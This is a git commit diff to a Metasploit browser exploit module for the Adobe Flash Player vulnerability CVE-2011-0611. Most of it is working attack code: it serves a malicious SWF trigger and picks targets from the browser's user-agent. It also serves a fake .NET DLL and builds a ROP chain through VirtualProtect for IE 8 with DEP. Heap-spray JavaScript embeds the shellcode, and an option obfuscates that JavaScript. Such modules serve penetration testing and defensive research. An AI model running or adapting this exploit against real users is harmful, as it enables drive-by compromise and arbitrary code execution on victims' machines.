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metasploit-framework
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Use heaplib on IE 8, allow obfuscation as an option 

git-svn-id: file:///home/svn/framework3/trunk@13565 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Wei Chen 2011-08-15 15:32:17 +00:00
parent 278cb5d46e
commit eaa5cf6b5d
1 changed files with 161 additions and 115 deletions
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274
modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb
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@ -23,7 +23,9 @@ class Metasploit3 < Msf::Exploit::Remote
This module exploits a vulnerability in Adobe Flash Player that was discovered, and
has been exploited actively in the wild. By embedding a specially crafted .swf file,
Adobe Flash crashes due to an invalid use of an object type, which allows attackers to
overwrite a pointer in memory, and results arbitrary code execution.
overwrite a pointer in memory, and results arbitrary code execution. Please note for
IE 8 targets, mscorie.dll (a .Net component) must be available on the victim machine
in order to work properly.
},
'License' => MSF_LICENSE,
'Version' => "$Revision$",
@ -44,9 +46,8 @@ class Metasploit3 < Msf::Exploit::Remote
],
'Payload' =>
{
'Space' => 2048,
'Space' => 1024,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'DefaultOptions' =>
{
@ -57,135 +58,189 @@ class Metasploit3 < Msf::Exploit::Remote
'Targets' =>
[
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3',
{
'blockSize' => "0x10101",
'spraySize' => "0x802",
'paddSize' => "640",
},
],
[
'IE 7 on Windows XP SP3',
{
'blockSize' => "0xf90",
'spraySize' => "0x8efc",
'paddSize' => "600",
}
],
[
#This target requires .NET CLR 2.0.50727
'IE 8 on Windows XP SP3',
{
'blockSize' => "0xf90",
'spraySize' => "0x8efc",
'paddSize' => "502",
}
],
[
'IE 7 on Windows Vista',
{
'blockSize' => "0x10101",
'spraySize' => "0x802",
'paddSize' => "502",
}
]
[ 'IE 6 on Windows XP SP3', { 'Rop' => false } ],
[ 'IE 7 on Windows XP SP3', { 'Rop' => false } ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => true } ],
[ 'IE 7 on Windows Vista', { 'Rop' => false } ],
],
'Privileged' => false,
'DisclosureDate' => "Apr 11 2011",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
], self.class
)
end
def exploit
#Load the trigger file
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2011-0611.swf")
f = File.open(path, "rb")
@trigger = f.read(f.stat.size)
f.close
super
end
def get_target(request)
agent = request.headers['User-Agent']
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
#Windows XP SP3 + IE 6.0
return targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
#Windows XP SP3 + IE 7.0
return targets[2]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ and agent =~ /\.NET CLR 2\.0/
#Windows XP SP3 + IE 8.0 + .Net CLR 2.0
return targets[3]
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
#Windows Vista + IE 7
return targets[4]
else
return nil
end
end
def junk
return rand_text_alpha(4).unpack("L")[0].to_i
end
def on_request_uri(cli, request)
#Set default target
my_target = target
agent = request.headers['User-Agent']
mytarget = ''
js_net_dll = ''
rop_gadgets = [0x0c0c0c0c].pack('V*')
#If user chooses automatic target, we choose one based on user agent
if my_target.name =~ /Automatic/
my_target = get_target(request)
#Determine if exploit suits the target
if agent =~ /MSIE 6\.0/
mytarget = targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
mytarget = targets[2]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ and agent =~ /\.NET CLR 2\.0/
mytarget = targets[3]
#No suitable target, we go ninja mode
if my_target.nil?
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
return
end
net_dll_name = "#{get_resource}/generic-" + Time.now.to_i.to_s + ".dll"
js_net_dll = "<object classid=\"#{net_dll_name}\"#GenericControl\"></object>"
rop_gadgets =
[
0x63f05472, #POP EDI; POP ESI; RETN (mscorie.dll)
0x41414141, #EDI
0x77c15ed5, #XCHG EAX,ESP; RETN (msvcrt.dll)
0x63f04d74, #CALL mscorie!_imp_VirtualProtect
0x11111134, #Param: shellcode (Target address = 0x11111110+0x24)
0x900, #Param: size (2304)
0x40, #Param: newProtect
0x11111110, #Param: oldProtect
0x11111134, #RETN (Target address = 0x11111110+0x24)
].pack('V*')
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
mytarget = targets[4]
else
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
return
print_status("Target selected: #{my_target.name}") if datastore['VERBOSE']
end
if request.uri =~ /\.swf/
uri = request.uri
print_status("URL: #{uri}") if datastore['VERBOSE']
if uri =~ /\.swf$/
#Browser requests our trigger file, why not
print_status("Sending trigger SWF to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, @trigger, {'Content-Type'=>'application/x-shockwave-flash'} )
return
elsif request.uri =~ /\.dll$/
elsif uri =~ /\.dll$/
#Throw the browser a fake .Net DLL so mscorie.dll will load
print_status("Sending .NET dll to #{cli.peerhost}:#{cli.peerport}...")
ibase = (0x2000 | rand(0x8000)) << 16
#Generate our .Net DLL with random data
dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16))
send_response(cli, dll, { 'Content-Type'=>'application/x-msdownload', 'Connection'=>'close', 'Pragma'=>'no-cache' } )
#Generate our headers for the browser to download the dll
headers = {
'Content-Type' => 'application/x-msdownload',
'Connection' => 'close',
'Pragma' => 'no-cache'
}
send_response(cli, dll, headers)
return
end
blockSize = mytarget['blockSize']
spraySize = mytarget['spraySize']
paddSize = mytarget['paddSize']
#The type of arch our victim machine is running
arch = Rex::Arch.endian(my_target.arch)
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
nops = Rex::Text.to_unescape( [0x0c0c0c0c].pack('V') , Rex::Arch.endian(target.arch))
if my_target['Rop']
#DEP is enabled, rop it like a rop star
net_dll_name = "#{get_resource}/generic-" + Time.now.to_i.to_s + ".dll"
js_net_dll = "<object classid=\"#{net_dll_name}\"#GenericControl\"></object>"
swf_name = rand_text_alpha(rand(3))
js_func_name = rand_text_alpha(rand(6) +3)
js_var_blocks_name = rand_text_alpha(rand(6) + 3)
js_var_shell_name = rand_text_alpha(rand(6) + 3)
js_var_nopsled_name = rand_text_alpha(rand(6) + 3)
js_var_index_name = rand_text_alpha(rand(6) + 3)
js_var_padding_offset = rand_text_alpha(rand(6) + 3)
js_var_rop_name = rand_text_alpha(rand(6) + 3)
js_var_roppadding_name = rand_text_alpha(rand(6) + 3)
trigger_file_name = "#{get_resource}/#{swf_name}.swf"
js_rop = Rex::Text.to_unescape(rop_gadgets, Rex::Arch.endian(target.arch))
#Land it exactly at 0x11111110
rop =
[
0x63F031D8, #POP ECX; POP ESI; RETN
junk,
0x7E451509, #XCHG EAX,ESP; RETN in USER32
0x63f04d74, #CALL mscorie!_imp_VirtualProtect
0x11111138, #Param: shellcode (Target address = 0x11111110+0x24)
0x900, #Param: size (2304)
0x40, #Param: newProtect
0x11111110, #Param: oldProtect
0x11111138, #RETN (Target address = 0x11111110+0x24)
junk,
].pack('V*')
#Our payload will land at 11111110
shellcode = Rex::Text.to_unescape(rop + payload.encoded, arch)
nops = Rex::Text.to_unescape(rand_text_alpha(4), arch)
#Heap spray routine
js = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{shellcode}");
var nops = unescape("#{nops}");
while (nops.length < 0x1000) nops += nops;
offset = nops.substring(0, 0x62);
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x20000) shellcode += shellcode;
block = shellcode.substring(0, (0x10000-6)/2);
heap_obj.gc();
for (var i=0; i < 0x1000; i++) {
heap_obj.alloc(block);
}
JS
else
#No DEP, giggity. 0x0c0c0c0c is our target address
nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
shellcode = Rex::Text.to_unescape(payload.encoded, arch)
#Heap spray routine
js = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{shellcode}");
var nops = unescape("#{nops}");
while (nops.length < 0x1000) nops += nops;
var shellcode = nops.substring(0, 0x1000-code.length) + code;
while (shellcode.length < 0x20000) shellcode += shellcode;
block = shellcode.substring(0, (0x10000-6)/2);
heap_obj.gc();
for (var i=0; i < 0x1000; i++) {
heap_obj.alloc(block);
}
JS
end
#Implement heaplib
js = heaplib(js)
#Javascript obfuscation is optional
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
trigger_file_name = "#{get_resource}/#{rand_text_alpha(rand(3))}.swf"
html = <<-EOS
<html>
<head>
<script>
function #{js_func_name}() {
var #{js_var_blocks_name} = new Array();
var #{js_var_rop_name} = unescape("#{js_rop}");
var #{js_var_shell_name} = unescape("#{shellcode}");
var #{js_var_nopsled_name} = unescape("#{nops}");
while (#{js_var_nopsled_name}.length < #{blockSize}) { #{js_var_nopsled_name} += unescape("#{nops}") };
var #{js_var_roppadding_name} = #{js_var_nopsled_name}.substring(0, #{paddSize});
var #{js_var_padding_offset} = #{js_var_roppadding_name}.length + #{js_var_rop_name}.length + #{js_var_shell_name}.length;
#{js_var_nopsled_name} = #{js_var_nopsled_name}.substring(#{js_var_padding_offset}, #{js_var_nopsled_name}.length);
#{js_var_blocks_name}[0] = ["" + #{js_var_roppadding_name} + #{js_var_rop_name} + #{js_var_shell_name} + #{js_var_nopsled_name}].join("");
for (#{js_var_index_name}=1; #{js_var_index_name} < #{spraySize}; #{js_var_index_name}++) {
#{js_var_blocks_name}[#{js_var_index_name}] = #{js_var_blocks_name}[0].substring(0, #{js_var_blocks_name}[0].length);
}
}
#{js_func_name}();
#{js}
</script>
</head>
<body>
@ -202,18 +257,9 @@ class Metasploit3 < Msf::Exploit::Remote
html = html.gsub(/^\t\t/, "")
print_status("Sending malicious HTML to #{cli.peerhost}:#{cli.peerport}...")
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, html, {'Content-Type' => "text/html"} )
end
def exploit
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2011-0611.swf")
f = File.open(path, "rb")
@trigger = f.read(f.stat.size)
f.close
super
end
end